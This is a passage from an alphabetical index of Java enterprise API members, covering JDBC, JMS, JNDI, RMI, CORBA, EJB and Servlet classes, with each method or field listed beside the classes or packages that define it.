createConnectionConsumer(): QueueConnection, TopicConnection

createDurableConnectionConsumer(): TopicConnection

createDurableSubscriber(): TopicSession

CreateException: javax.ejb

createExceptionReply(): ResponseHandler

createGroup(): ActivationGroup

createInitialContextFactory(): InitialContextFactoryBuilder

createMapMessage(): Session

createMessage(): Session

createObjectFactory(): ObjectFactoryBuilder

createObjectMessage(): Session

createPublisher(): TopicSession

createQueue(): QueueSession

createQueueConnection(): QueueConnectionFactory

createQueueSession(): QueueConnection

createReceiver(): QueueSession

createRegistry(): LocateRegistry

createReply(): ResponseHandler

createSender(): QueueSession

createServerSocket(): RMIServerSocketFactory, RMISocketFactory

createSocket(): RMIClientSocketFactory, RMISocketFactory

createStatement(): Connection

createStreamMessage(): Session

createSubcontext(): Context, DirContext, InitialContext, InitialDirContext

createSubscriber(): TopicSession

createTemporaryQueue(): QueueSession

createTemporaryTopic(): TopicSession

createTextMessage(): Session

createTopic(): TopicSession

createTopicConnection(): TopicConnectionFactory

createTopicSession(): TopicConnection

createXAQueueConnection(): XAQueueConnectionFactory

createXAQueueSession(): XAQueueConnection

createXATopicConnection(): XATopicConnectionFactory

createXATopicSession(): XATopicConnection

ctx(): Request, ServerRequest

CTX_RESTRICT_SCOPE: org.omg.CORBA

Current: org.omg.CORBA

current_component(): DynAny

current_member_kind(): DynStruct, DynValue

current_member_name(): DynStruct, DynValue

currentGroupID(): ActivationGroup

cursorMoved(): RowSetListener

cxt: CannotProceed

DATA_CONVERSION: org.omg.CORBA

DatabaseMetaData: java.sql

dataDefinitionCausesTransactionCommit(): DatabaseMetaData

dataDefinitionIgnoredInTransactions(): DatabaseMetaData

DataSource: javax.sql

DataTruncation: java.sql

DATE: Types

Date: java.sql

DECIMAL: Types

def_kind(): IRObject

DEFAULT_DELIVERY_MODE: Message

default_index(): TypeCode

DEFAULT_PRIORITY: Message

DEFAULT_TIME_TO_LIVE: Message

defaultInitCtx: InitialContext

defined_in: ValueMember

DefinitionKind: org.omg.CORBA

Delegate: org.omg.CORBA.portable

delete(): TemporaryQueue, TemporaryTopic

delete_values(): Context

deleteRow(): ResultSet

deletesAreDetected(): DatabaseMetaData

delistResource(): Transaction

DeliveryMode: javax.jms

DeploymentDescriptor: javax.ejb.deployment

deregisterDriver(): DriverManager

description: DriverPropertyInfo

Destination: javax.jms

destroy(): _BindingIteratorImplBase, _BindingIteratorStub, _NamingContextImplBase, _NamingContextStub, BindingIterator, DynAny, GenericServlet, IRObject, NamingContext, Policy, Servlet

destroySubcontext(): Context, InitialContext

detail: ActivationException, RemoteException, ServerCloneException

DGC: java.rmi.dgc

DGC_ID: ObjID

DirContext: javax.naming.directory

DirectoryManager: javax.naming.spi

dirty(): DGC

disconnect(): ORB

discriminator(): DynUnion

discriminator_kind(): DynUnion

discriminator_type(): TypeCode

dispatch(): Skeleton

DISTINCT: Types

dk_Alias: DefinitionKind

dk_all: DefinitionKind

dk_Array: DefinitionKind

dk_Attribute: DefinitionKind

dk_Constant: DefinitionKind

dk_Enum: DefinitionKind

dk_Exception: DefinitionKind

dk_Fixed: DefinitionKind

dk_Interface: DefinitionKind

dk_Module: DefinitionKind

dk_Native: DefinitionKind

dk_none: DefinitionKind

dk_Operation: DefinitionKind

dk_Primitive: DefinitionKind

dk_Repository: DefinitionKind

dk_Sequence: DefinitionKind

dk_String: DefinitionKind

dk_Struct: DefinitionKind

dk_Typedef: DefinitionKind

dk_Union: DefinitionKind

dk_Value: DefinitionKind

dk_ValueBox: DefinitionKind

dk_ValueMember: DefinitionKind

dk_Wstring: DefinitionKind

DNS_URL: Context

doDelete(): HttpServlet

doesMaxRowSizeIncludeBlobs(): DatabaseMetaData

doGet(): HttpServlet

DomainManager: org.omg.CORBA

done(): RemoteCall, RemoteRef

doOptions(): HttpServlet

doPost(): HttpServlet

doPut(): HttpServlet

doTrace(): HttpServlet

DOUBLE: Types

DoubleHolder: org.omg.CORBA

Driver: java.sql

DriverManager: java.sql

DriverPropertyInfo: java.sql

duplicate(): Delegate

DuplicateKeyException: javax.ejb

DUPS_OK_ACKNOWLEDGE: Session

DynamicImplementation: org.omg.CORBA

DynAny: org.omg.CORBA

DynArray: org.omg.CORBA

DynEnum: org.omg.CORBA

DynFixed: org.omg.CORBA

DynSequence: org.omg.CORBA

DynStruct: org.omg.CORBA

DynUnion: org.omg.CORBA

DynValue: org.omg.CORBA

ejbActivate(): EntityBean, SessionBean

EJBContext: javax.ejb

EJBException: javax.ejb

EJBHome: javax.ejb

ejbLoad(): EntityBean

EJBMetaData: javax.ejb

EJBObject: javax.ejb

ejbPassivate(): EntityBean, SessionBean

ejbRemove(): EntityBean, SessionBean

ejbStore(): EntityBean

encodeRedirectUrl(): HttpServletResponse

encodeRedirectURL(): HttpServletResponse

encodeUrl(): HttpServletResponse

encodeURL(): HttpServletResponse

end(): XAResource

endsWith(): CompositeName, CompoundName, Name

enlistResource(): Transaction

EnterpriseBean: javax.ejb

EntityBean: javax.ejb

EntityContext: javax.ejb

EntityDescriptor: javax.ejb.deployment

env(): Request

environment: CannotProceedException

Environment: org.omg.CORBA

equal(): Any, TypeCode

equals(): ActivationDesc, ActivationGroupDesc, ActivationGroupID, ActivationID, BasicAttribute, BinaryRefAddr, CommandEnvironment, CompositeName, CompoundName, Delegate, MarshalledObject, ObjectImpl, ObjID, RefAddr, Reference, RemoteObject, Timestamp, UID, VMID

equivalent(): TypeCode

errorCode: SystemException, XAException

except: UnknownUserException

except(): ServerRequest

exception(): Environment

ExceptionList: org.omg.CORBA

ExceptionListener: javax.jms

exceptions(): Request

execute(): PreparedStatement, RowSet, Statement

executeBatch(): Statement

executeCall(): RemoteCall

executeQuery(): PreparedStatement, Statement

executeUpdate(): PreparedStatement, Statement

ExportException: java.rmi.server

exportObject(): Activatable, ServerRef, UnicastRemoteObject

extract(): AlreadyBoundHelper, BindingHelper, BindingIteratorHelper, BindingListHelper, BindingTypeHelper, CannotProceedHelper, InvalidNameHelper, IstringHelper, NameComponentHelper, NameHelper, NamingContextHelper, NotEmptyHelper, NotFoundHelper, NotFoundReasonHelper, ServiceDetailHelper, ServiceInformationHelper

extract_any(): Any

extract_boolean(): Any

extract_char(): Any

extract_double(): Any

extract_fixed(): Any

extract_float(): Any

extract_long(): Any

extract_longlong(): Any

extract_Object(): Any

extract_octet(): Any

extract_Principal(): Any

extract_short(): Any

extract_string(): Any

extract_TypeCode(): Any

extract_ulong(): Any

extract_ulonglong(): Any

extract_ushort(): Any

extract_Value(): Any

extract_wchar(): Any

extract_wstring(): Any

failure(): RMIFailureHandler

FETCH_FORWARD: ResultSet

FETCH_REVERSE: ResultSet

FETCH_UNKNOWN: ResultSet

findColumn(): ResultSet

FinderException: javax.ejb

first(): ResultSet

fixed_digits(): TypeCode

fixed_scale(): TypeCode

FixedHolder: org.omg.CORBA

flags(): NamedValue

FLOAT: Types

FloatHolder: org.omg.CORBA

forget(): XAResource

forward(): RequestDispatcher

FREE_MEM: org.omg.CORBA

from_any(): DynAny

from_int(): BindingType, CompletionStatus, DefinitionKind, NotFoundReason, SetOverrideType, TCKind

GenericServlet: javax.servlet

get(): Attribute, Attributes, BasicAttribute, BasicAttributes, CompositeName, CompoundName, MarshalledObject, Name, Reference

get_any(): DynAny

get_boolean(): DynAny

get_char(): DynAny

get_compact_typecode(): TypeCode

get_current(): ORB

get_default_context(): ORB

get_domain_managers(): Delegate

get_domain_policy(): DomainManager

get_double(): DynAny

get_elements(): DynArray, DynSequence

get_float(): DynAny

get_interface_def(): Delegate

get_long(): DynAny

get_longlong(): DynAny

get_members(): DynStruct, DynValue

get_next_response(): ORB

get_octet(): DynAny

get_policy(): Delegate

get_primitive_tc(): ORB

get_reference(): DynAny

get_response(): Request

get_service_information(): ORB

get_short(): DynAny

get_string(): DynAny

get_typecode(): DynAny

get_ulong(): DynAny

get_ulonglong(): DynAny

get_ushort(): DynAny

get_val(): DynAny

get_value(): DynFixed

get_values(): Context

get_wchar(): DynAny

get_wstring(): DynAny

getAccessControlEntries(): DeploymentDescriptor

getActivationDesc(): ActivationSystem

getActivationGroupDesc(): ActivationSystem

getAll(): Attribute, Attributes, BasicAttribute, BasicAttributes, CompositeName, CompoundName, Name, Reference

getAllowedIdentities(): AccessControlEntry

getAltName(): CannotProceedException

getAltNameCtx(): CannotProceedException

getArray(): Array, CallableStatement, ResultSet

getAsciiStream(): Clob, ResultSet

getAttribute(): ModificationItem, ServletContext, ServletRequest

getAttributeDefinition(): Attribute, BasicAttribute

getAttributeNames(): ServletContext, ServletRequest

getAttributes(): DirContext, InitialDirContext, SearchResult, Struct

getAttributeSyntaxDefinition(): Attribute, BasicAttribute

getAuthType(): HttpServletRequest

getAutoCommit(): Connection

getBaseType(): Array

getBaseTypeName(): Array, Ref

getBeanHomeName(): DeploymentDescriptor

getBestRowIdentifier(): DatabaseMetaData

getBigDecimal(): CallableStatement, ResultSet

getBinaryStream(): Blob, ResultSet

getBlob(): CallableStatement, ResultSet

getBoolean(): CallableStatement, MapMessage, ResultSet

getBooleanProperty(): Message

getBranchQualifier(): Xid

getByte(): CallableStatement, MapMessage, ResultSet

getByteProperty(): Message

getBytes(): Blob, CallableStatement, MapMessage, ResultSet

getCallerIdentity(): EJBContext

getCatalog(): Connection

getCatalogName(): ResultSetMetaData

getCatalogs(): DatabaseMetaData

getCatalogSeparator(): DatabaseMetaData

getCatalogTerm(): DatabaseMetaData

getCausedByException(): EJBException

getChar(): MapMessage

getCharacterEncoding(): ServletRequest, ServletResponse

getCharacterStream(): Clob, ResultSet

getClassAnnotation(): RMIClassLoader

getClassName(): ActivationDesc, ActivationGroupDesc, Binding, NameClassPair, Reference

getClientHost(): RemoteServer, ServerRef

getClientID(): Connection

getClob(): CallableStatement, ResultSet

getColumnClassName(): ResultSetMetaData

getColumnCount(): ResultSetMetaData

getColumnDisplaySize(): ResultSetMetaData

getColumnLabel(): ResultSetMetaData

getColumnName(): ResultSetMetaData

getColumnPrivileges(): DatabaseMetaData

getColumns(): DatabaseMetaData

getColumnType(): ResultSetMetaData

getColumnTypeName(): ResultSetMetaData

getCommand(): RowSet

getCommandEnvironment(): ActivationGroupDesc

getCommandOptions(): CommandEnvironment

getCommandPath(): CommandEnvironment

getComment(): Cookie

getConcurrency(): ResultSet

getConnection(): DatabaseMetaData, DataSource, DriverManager, PooledConnection, RowSetInternal, Statement

getContainerManagedFields(): EntityDescriptor

getContent(): BinaryRefAddr, RefAddr, StringRefAddr

getContentLength(): ServletRequest

getContentType(): ServletRequest

getContext(): ServletContext

getContinuationContext(): NamingManager

getContinuationDirContext(): DirectoryManager

getControlDescriptors(): DeploymentDescriptor

getCookies(): HttpServletRequest

getCountLimit(): SearchControls

getCreationTime(): HttpSession

getCrossReference(): DatabaseMetaData

getCursorName(): ResultSet

getData(): ActivationDesc, ActivationGroupDesc

getDatabaseProductName(): DatabaseMetaData

getDatabaseProductVersion(): DatabaseMetaData

getDataSize(): DataTruncation

getDataSourceName(): RowSet

getDate(): CallableStatement, ResultSet, Time

getDateHeader(): HttpServletRequest

getDay(): Time

getDefaultInitCtx(): InitialContext

getDefaultSocketFactory(): RMISocketFactory

getDefaultStream(): LogStream

getDefaultTransactionIsolation(): DatabaseMetaData

getDeliveryMode(): MessageProducer

getDerefLinkFlag(): SearchControls

getDisableMessageID(): MessageProducer

getDisableMessageTimestamp(): MessageProducer

getDomain(): Cookie

getDouble(): CallableStatement, MapMessage, ResultSet

getDoubleProperty(): Message

getDriver(): DriverManager

getDriverMajorVersion(): DatabaseMetaData

getDriverMinorVersion(): DatabaseMetaData

getDriverName(): DatabaseMetaData

getDrivers(): DriverManager

getDriverVersion(): DatabaseMetaData

getEJBHome(): EJBContext, EJBMetaData, EJBObject

getEJBMetaData(): EJBHome

getEJBObject(): EntityContext, Handle, SessionContext

getEnterpriseBeanClassName(): DeploymentDescriptor

getEnumeration(): QueueBrowser

getEnvironment(): CannotProceedException, Context, EJBContext, InitialContext

getEnvironmentProperties(): DeploymentDescriptor

getErrorCode(): JMSException, SQLException

getEscapeProcessing(): RowSet

getExplanation(): NamingException

getExportedKeys(): DatabaseMetaData

getExtraNameCharacters(): DatabaseMetaData

getFactoryClassLocation(): Reference

getFactoryClassName(): Reference

getFailureHandler(): RMISocketFactory

getFetchDirection(): ResultSet, Statement

getFetchSize(): ResultSet, Statement

getFloat(): CallableStatement, MapMessage, ResultSet

getFloatProperty(): Message

getFormatId(): Xid

getGlobalTransactionId(): Xid

getGroupID(): ActivationDesc

getHandle(): EJBObject

getHeader(): HttpServletRequest

getHeaderNames(): HttpServletRequest

getHomeInterfaceClass(): EJBMetaData

getHomeInterfaceClassName(): DeploymentDescriptor

getHours(): Date

getId(): ApplicationException, HttpSession

getID(): Activatable, Attribute, BasicAttribute

getIdentifierQuoteString(): DatabaseMetaData

getIDs(): Attributes, BasicAttributes

getIds(): HttpSessionContext

getImportedKeys(): DatabaseMetaData

getIndex(): DataTruncation

getIndexInfo(): DatabaseMetaData

getInitialContext(): InitialContextFactory, NamingManager

getInitParameter(): GenericServlet, ServletConfig

getInitParameterNames(): GenericServlet, ServletConfig

getInputStream(): ApplicationException, RemoteCall, ServletRequest

getInt(): CallableStatement, MapMessage, ResultSet

getIntHeader(): HttpServletRequest

getIntProperty(): Message

getIsolationLevel(): ControlDescriptor

getJMSCorrelationID(): Message

getJMSCorrelationIDAsBytes(): Message

getJMSDeliveryMode(): Message

getJMSDestination(): Message

getJMSExpiration(): Message

getJMSMajorVersion(): ConnectionMetaData

getJMSMessageID(): Message

getJMSMinorVersion(): ConnectionMetaData

getJMSPriority(): Message

getJMSProviderName(): ConnectionMetaData

getJMSRedelivered(): Message

getJMSReplyTo(): Message

getJMSTimestamp(): Message

getJMSType(): Message

getJMSVersion(): ConnectionMetaData

getLastAccessedTime(): HttpSession

getLastModified(): HttpServlet

getLinkedException(): JMSException

getLinkExplanation(): LinkException

getLinkName(): LinkRef

getLinkRemainingName(): LinkException

getLinkResolvedName(): LinkException

getLinkResolvedObj(): LinkException

getLocation(): ActivationDesc, ActivationGroupDesc

getLog(): RemoteServer

getLoginTimeout(): ConnectionPoolDataSource, DataSource, DriverManager, XADataSource

getLogStream(): DriverManager

getLogWriter(): ConnectionPoolDataSource, DataSource, DriverManager, XADataSource

getLong(): CallableStatement, MapMessage, ResultSet

getLongProperty(): Message

getMajorVersion(): Driver, ServletContext

getMapNames(): MapMessage

getMaxAge(): Cookie

getMaxBinaryLiteralLength(): DatabaseMetaData

getMaxCatalogNameLength(): DatabaseMetaData

getMaxCharLiteralLength(): DatabaseMetaData

getMaxColumnNameLength(): DatabaseMetaData

getMaxColumnsInGroupBy(): DatabaseMetaData

getMaxColumnsInIndex(): DatabaseMetaData

getMaxColumnsInOrderBy(): DatabaseMetaData

getMaxColumnsInSelect(): DatabaseMetaData

getMaxColumnsInTable(): DatabaseMetaData

getMaxConnections(): DatabaseMetaData

getMaxCursorNameLength(): DatabaseMetaData

getMaxFieldSize(): RowSet, Statement

getMaxInactiveInterval(): HttpSession

getMaxIndexLength(): DatabaseMetaData

getMaxProcedureNameLength(): DatabaseMetaData

getMaxRows(): RowSet, Statement

getMaxRowSize(): DatabaseMetaData

getMaxSchemaNameLength(): DatabaseMetaData

getMaxStatementLength(): DatabaseMetaData

getMaxStatements(): DatabaseMetaData

getMaxTableNameLength(): DatabaseMetaData

getMaxTablesInSelect(): DatabaseMetaData

getMaxUserNameLength(): DatabaseMetaData

getMessage(): ActivationException, RemoteException, ServerCloneException

getMessageListener(): MessageConsumer, Session

getMessageSelector(): MessageConsumer, QueueBrowser

getMetaData(): Connection, PreparedStatement, ResultSet

getMethod(): AccessControlEntry, ControlDescriptor, HttpServletRequest

getMimeType(): ServletContext

getMinorVersion(): Driver, ServletContext

getMinutes(): Date

getModificationOp(): ModificationItem

getMonth(): Time

getMoreResults(): Statement

getName(): Cookie, HttpSessionBindingEvent, NameClassPair

getNameParser(): Context, InitialContext

getNanos(): Timestamp

getNextException(): SQLException

getNextWarning(): SQLWarning

getNoLocal(): TopicSubscriber

getNumericFunctions(): DatabaseMetaData

getObject(): Binding, CallableStatement, MapMessage, ObjectMessage, ResultSet

getObjectInstance(): NamingManager, ObjectFactory

getObjectProperty(): Message

getOperation(): Operation

getOperations(): Skeleton

getOriginal(): RowSetInternal

getOriginalRow(): RowSetInternal

getOutputStream(): LogStream, RemoteCall, ServletResponse

getParameter(): DataTruncation, ServletRequest

getParameterNames(): ServletRequest

getParameterValues(): ServletRequest

getParams(): RowSetInternal

getPassword(): RowSet

getPath(): Cookie

getPathInfo(): HttpServletRequest

getPathTranslated(): HttpServletRequest

getPooledConnection(): ConnectionPoolDataSource

getPrecision(): ResultSetMetaData

getPrefix(): CompositeName, CompoundName, Name

getPrimaryKey(): EJBObject, EntityContext

getPrimaryKeyClass(): EJBMetaData

getPrimaryKeyClassName(): EntityDescriptor

getPrimaryKeys(): DatabaseMetaData

getPriority(): MessageProducer

getProcedureColumns(): DatabaseMetaData

getProcedures(): DatabaseMetaData

getProcedureTerm(): DatabaseMetaData

getPropertyInfo(): Driver

getPropertyNames(): Message

getPropertyOverrides(): ActivationGroupDesc

getProtocol(): ServletRequest

getProviderMajorVersion(): ConnectionMetaData

getProviderMinorVersion(): ConnectionMetaData

getProviderVersion(): ConnectionMetaData

getQueryString(): HttpServletRequest

getQueryTimeout(): RowSet, Statement

getQueue(): QueueBrowser, QueueReceiver, QueueSender

getQueueName(): Queue

getQueueSession(): XAQueueSession

getRead(): DataTruncation

getReader(): ServletRequest

getRealPath(): ServletContext, ServletRequest

getReentrant(): DeploymentDescriptor

getRef(): CallableStatement, RemoteObject, ResultSet

getRefClass(): RemoteRef

getReference(): Referenceable

getReferralContext(): ReferralException

getReferralInfo(): ReferralException

getRegistry(): LocateRegistry

getRemainingName(): NamingException, ResolveResult

getRemainingNewName(): CannotProceedException

getRemoteAddr(): ServletRequest

getRemoteHost(): ServletRequest

getRemoteInterfaceClass(): EJBMetaData

getRemoteInterfaceClassName(): DeploymentDescriptor

getRemoteUser(): HttpServletRequest

getRequestDispatcher(): ServletContext

getRequestedSessionId(): HttpServletRequest

getRequestURI(): HttpServletRequest

getRequestURL(): HttpUtils

getResolvedName(): NamingException

getResolvedObj(): NamingException, ResolveResult

getResource(): ServletContext

getResourceAsStream(): ServletContext

getRestartMode(): ActivationDesc

getResultSet(): Array, Statement

getResultSetConcurrency(): Statement

getResultSetType(): Statement

getResultStream(): RemoteCall

getReturningAttributes(): SearchControls

getReturningObjFlag(): SearchControls

getRollbackOnly(): EJBContext

getRootCause(): NamingException, ServletException

getRow(): ResultSet

getRunAsIdentity(): ControlDescriptor

getRunAsMode(): ControlDescriptor

getScale(): ResultSetMetaData

getSchema(): DirContext, InitialDirContext

getSchemaClassDefinition(): DirContext, InitialDirContext

getSchemaName(): ResultSetMetaData

getSchemas(): DatabaseMetaData

getSchemaTerm(): DatabaseMetaData

getScheme(): ServletRequest

getSearchScope(): SearchControls

getSearchStringEscape(): DatabaseMetaData

getSeconds(): Date

getSecure(): Cookie

getSecurityContext(): LoaderHandler, RMIClassLoader

getServerInfo(): ServletContext

getServerName(): ServletRequest

getServerPort(): ServletRequest

getServerSession(): ServerSessionPool

getServerSessionPool(): ConnectionConsumer

getServlet(): ServletContext, UnavailableException

getServletConfig(): GenericServlet, Servlet

getServletContext(): GenericServlet, ServletConfig

getServletInfo(): GenericServlet, Servlet

getServletNames(): ServletContext

getServletPath(): HttpServletRequest

getServlets(): ServletContext

getSession(): HttpServletRequest, HttpSessionBindingEvent, HttpSessionContext, ServerSession

getSessionContext(): HttpSession

getSessionTimeout(): SessionDescriptor

getShort(): CallableStatement, MapMessage, ResultSet

getShortProperty(): Message

getSocketFactory(): RMISocketFactory

getSQLException(): ConnectionEvent

getSQLKeywords(): DatabaseMetaData

getSQLState(): SQLException

getSQLTypeName(): SQLData, Struct

getStateManagementType(): SessionDescriptor

getStatement(): ResultSet

getStatus(): Transaction, TransactionManager, UserTransaction

getString(): CallableStatement, MapMessage, ResultSet

getStringFunctions(): DatabaseMetaData

getStringProperty(): Message

getSubString(): Clob

getSuffix(): CompositeName, CompoundName, Name

getSystem(): ActivationGroup, ActivationGroupID

getSystemFunctions(): DatabaseMetaData

getTableName(): ResultSetMetaData

getTablePrivileges(): DatabaseMetaData

getTables(): DatabaseMetaData

getTableTypes(): DatabaseMetaData

getText(): TextMessage

getTime(): CallableStatement, ResultSet

getTimeDateFunctions(): DatabaseMetaData

getTimeLimit(): SearchControls

getTimestamp(): CallableStatement, ResultSet

getTimeToLive(): MessageProducer

getTopic(): TopicPublisher, TopicSubscriber

getTopicName(): Topic

getTopicSession(): XATopicSession

getTransacted(): Session

getTransaction(): TransactionManager

getTransactionAttribute(): ControlDescriptor

getTransactionIsolation(): Connection, RowSet

getTransactionTimeout(): XAResource

getTransferSize(): DataTruncation

getType(): RefAddr, ResultSet

getTypeInfo(): DatabaseMetaData

getTypeMap(): Connection, RowSet

getUDTs(): DatabaseMetaData

getUnavailableSeconds(): UnavailableException

getUnexecutedModifications(): AttributeModificationException

getUnicodeStream(): ResultSet

getUpdateCount(): Statement

getUpdateCounts(): BatchUpdateException

getUrl(): RowSet

getURL(): DatabaseMetaData

getURLContext(): NamingManager

getURLOrDefaultInitCtx(): InitialContext

getUsername(): RowSet

getUserName(): DatabaseMetaData

getUserTransaction(): EJBContext

getValue(): Cookie, HttpSession, Lease

getValueNames(): HttpSession

getVersion(): Cookie

getVersionColumns(): DatabaseMetaData

getVMID(): Lease

getWarnings(): Connection, ResultSet, Statement

getWriter(): ServletResponse

getXAConnection(): XADataSource

getXAResource(): XAConnection, XASession

getYear(): Time

gotDefault: InitialContext

Handle: javax.ejb

hash(): Delegate

hashCode(): ActivationDesc, ActivationGroupDesc, ActivationGroupID, ActivationID, BasicAttribute, BinaryRefAddr, CommandEnvironment, CompositeName, CompoundName, Delegate, MarshalledObject, ObjectImpl, ObjID, RefAddr, Reference, RemoteObject, UID, VMID

hasInitialContextFactoryBuilder(): NamingManager

hasMore(): NamingEnumeration

HeuristicCommitException: javax.transaction

HeuristicMixedException: javax.transaction

HeuristicRollbackException: javax.transaction

HttpServlet: javax.servlet.http

HttpServletRequest: javax.servlet.http

HttpServletResponse: javax.servlet.http

HttpSession: javax.servlet.http

HttpSessionBindingEvent: javax.servlet.http

HttpSessionBindingListener: javax.servlet.http

HttpSessionContext: javax.servlet.http

HttpUtils: javax.servlet.http

id: NameComponent, NameValuePair, ValueMember

id(): AlreadyBoundHelper, BindingHelper, BindingIteratorHelper, BindingListHelper, BindingTypeHelper, CannotProceedHelper, InvalidNameHelper, IstringHelper, NameComponentHelper, NameHelper, NamingContextHelper, NotEmptyHelper, NotFoundHelper, NotFoundReasonHelper, ServiceDetailHelper, ServiceInformationHelper, TypeCode

IDLEntity: org.omg.CORBA.portable

IDLType: org.omg.CORBA

IllegalStateException: javax.jms

IMP_LIMIT: org.omg.CORBA

impl: CompoundName

importedKeyCascade: DatabaseMetaData

importedKeyInitiallyDeferred: DatabaseMetaData

importedKeyInitiallyImmediate: DatabaseMetaData

importedKeyNoAction: DatabaseMetaData

importedKeyNotDeferrable: DatabaseMetaData

importedKeyRestrict: DatabaseMetaData

importedKeySetDefault: DatabaseMetaData

importedKeySetNull: DatabaseMetaData

inactive(): Activatable

inactiveGroup(): ActivationGroup, ActivationMonitor

inactiveObject(): ActivationGroup, ActivationMonitor

include(): RequestDispatcher

InconsistentTypeCode: org.omg.CORBA.ORBPackage

init(): GenericServlet, ORB, Servlet

INITIAL_CONTEXT_FACTORY: Context

InitialContext: javax.naming

InitialContextFactory: javax.naming.spi

InitialContextFactoryBuilder: javax.naming.spi

InitialDirContext: javax.naming.directory

INITIALIZE: org.omg.CORBA

InputStream: org.omg.CORBA.portable

insert(): AlreadyBoundHelper, BindingHelper, BindingIteratorHelper, BindingListHelper, BindingTypeHelper, CannotProceedHelper, InvalidNameHelper, IstringHelper, NameComponentHelper, NameHelper, NamingContextHelper, NotEmptyHelper, NotFoundHelper, NotFoundReasonHelper, ServiceDetailHelper, ServiceInformationHelper

insert_any(): Any, DynAny

insert_boolean(): Any, DynAny

insert_char(): Any, DynAny

insert_double(): Any, DynAny

insert_fixed(): Any

insert_float(): Any, DynAny

insert_long(): Any, DynAny

insert_longlong(): Any, DynAny

insert_Object(): Any

insert_octet(): Any, DynAny

insert_Principal(): Any

insert_reference(): DynAny

insert_short(): Any, DynAny

insert_Streamable(): Any

insert_string(): Any, DynAny

insert_TypeCode(): Any

insert_typecode(): DynAny

insert_ulong(): Any, DynAny

insert_ulonglong(): Any, DynAny

insert_ushort(): Any, DynAny

insert_val(): DynAny

insert_Value(): Any

insert_wchar(): Any, DynAny

insert_wstring(): Any, DynAny

insertRow(): ResultSet

insertsAreDetected(): DatabaseMetaData

InsufficientResourcesException: javax.naming

INTEGER: Types

INTERNAL: org.omg.CORBA

InterruptedNamingException: javax.naming

INTF_REPOS: org.omg.CORBA

IntHolder: org.omg.CORBA

INV_FLAG: org.omg.CORBA

INV_IDENT: org.omg.CORBA

INV_OBJREF: org.omg.CORBA

INV_POLICY: org.omg.CORBA

Invalid: org.omg.CORBA.DynAnyPackage

INVALID_TRANSACTION: org.omg.CORBA

invalidate(): HttpSession

InvalidAttributeIdentifierException: javax.naming.directory

InvalidAttributesException: javax.naming.directory

InvalidAttributeValueException: javax.naming.directory

InvalidClientIDException: javax.jms

InvalidDestinationException: javax.jms

InvalidName: org.omg.CORBA.ORBPackage, org.omg.CosNaming.NamingContextPackage

InvalidNameException: javax.naming

InvalidNameHelper: org.omg.CosNaming.NamingContextPackage

InvalidNameHolder: org.omg.CosNaming.NamingContextPackage

InvalidSearchControlsException: javax.naming.directory

InvalidSearchFilterException: javax.naming.directory

InvalidSelectorException: javax.jms

InvalidSeq: org.omg.CORBA.DynAnyPackage

InvalidTransactionException: javax.transaction

InvalidValue: org.omg.CORBA.DynAnyPackage

invoke(): _BindingIteratorImplBase, _NamingContextImplBase, Delegate, DynamicImplementation, RemoteRef, Request

InvokeHandler: org.omg.CORBA.portable

IRObject: org.omg.CORBA

is_a(): Delegate

is_equivalent(): Delegate

is_local(): Delegate

isAfterLast(): ResultSet

isAutoIncrement(): ResultSetMetaData

isBeforeFirst(): ResultSet

isCallerInRole(): EJBContext

isCaseIgnored(): Attributes, BasicAttributes

isCaseSensitive(): ResultSetMetaData

isCatalogAtStart(): DatabaseMetaData

isClosed(): Connection

isCurrency(): ResultSetMetaData

isDefinitelyWritable(): ResultSetMetaData

isEmpty(): CompositeName, CompoundName, Name

isFirst(): ResultSet

isIdentical(): EJBObject

isLast(): ResultSet

isNew(): HttpSession

isNullable(): ResultSetMetaData

isPermanent(): UnavailableException

isReadOnly(): Connection, DatabaseMetaData, ResultSetMetaData, RowSet

isReentrant(): DeploymentDescriptor

isRelative(): NameClassPair

isRequestedSessionIdFromCookie(): HttpServletRequest

isRequestedSessionIdFromUrl(): HttpServletRequest

isRequestedSessionIdFromURL(): HttpServletRequest

isRequestedSessionIdValid(): HttpServletRequest

isSameRM(): XAResource

isSearchable(): ResultSetMetaData

isSession(): EJBMetaData

isSigned(): ResultSetMetaData

IstringHelper: org.omg.CosNaming

isUnique(): VMID

isWritable(): ResultSetMetaData

item(): ContextList, ExceptionList, NVList

itemExists(): MapMessage

JAVA_OBJECT: Types

jdbcCompliant(): Driver

JMSException: javax.jms

JMSSecurityException: javax.jms

kind: NameComponent

kind(): TypeCode

label: UnionMember

LANGUAGE: Context

last(): ResultSet

Lease: java.rmi.dgc

length(): Blob, Clob, DynSequence, TypeCode

LimitExceededException: javax.naming

LinkException: javax.naming

linkExplanation: LinkException

LinkLoopException: javax.naming

LinkRef: javax.naming

linkRemainingName: LinkException

linkResolvedName: LinkException

linkResolvedObj: LinkException

list(): _NamingContextImplBase, _NamingContextStub, Context, InitialContext, Naming, NamingContext, Registry

list_initial_services(): ORB

listBindings(): Context, InitialContext

loadClass(): LoaderHandler, RMIClassLoader

LoaderHandler: java.rmi.server

LocateRegistry: java.rmi.registry

log(): GenericServlet, LogStream, ServletContext

LogStream: java.rmi.server

LongHolder: org.omg.CORBA

LONGVARBINARY: Types

LONGVARCHAR: Types

lookup(): Context, InitialContext, Naming, Registry

lookupLink(): Context, InitialContext

MalformedLinkException: javax.naming

MapMessage: javax.jms

MARSHAL: org.omg.CORBA

MarshalException: java.rmi

MarshalledObject: java.rmi

MAXBQUALSIZE: Xid

MAXGTRIDSIZE: Xid

member(): DynUnion

member_count(): TypeCode

member_kind(): DynUnion

member_label(): TypeCode

member_name(): DynUnion, TypeCode

member_type(): TypeCode

member_visibility(): TypeCode

Message: javax.jms

MessageConsumer: javax.jms

MessageEOFException: javax.jms

MessageFormatException: javax.jms

MessageListener: javax.jms

MessageNotReadableException: javax.jms

MessageNotWriteableException: javax.jms

MessageProducer: javax.jms

minor: SystemException

missing_node: NotFoundReason

ModificationItem: javax.naming.directory

modifyAttributes(): DirContext, InitialDirContext

moveToCurrentRow(): ResultSet

moveToInsertRow(): ResultSet

myProps: InitialContext

mySyntax: CompoundName

name: DriverPropertyInfo, StructMember, UnionMember, ValueMember

Name: javax.naming

name(): NamedValue, Principal, TypeCode

NameAlreadyBoundException: javax.naming

NameClassPair: javax.naming

NameComponent: org.omg.CosNaming

NameComponentHelper: org.omg.CosNaming

NameComponentHolder: org.omg.CosNaming

NamedValue: org.omg.CORBA

NameHelper: org.omg.CosNaming

NameHolder: org.omg.CosNaming

NameNotFoundException: javax.naming

NameParser: javax.naming

NameValuePair: org.omg.CORBA

Naming: java.rmi

NamingContext: org.omg.CosNaming

NamingContextHelper: org.omg.CosNaming

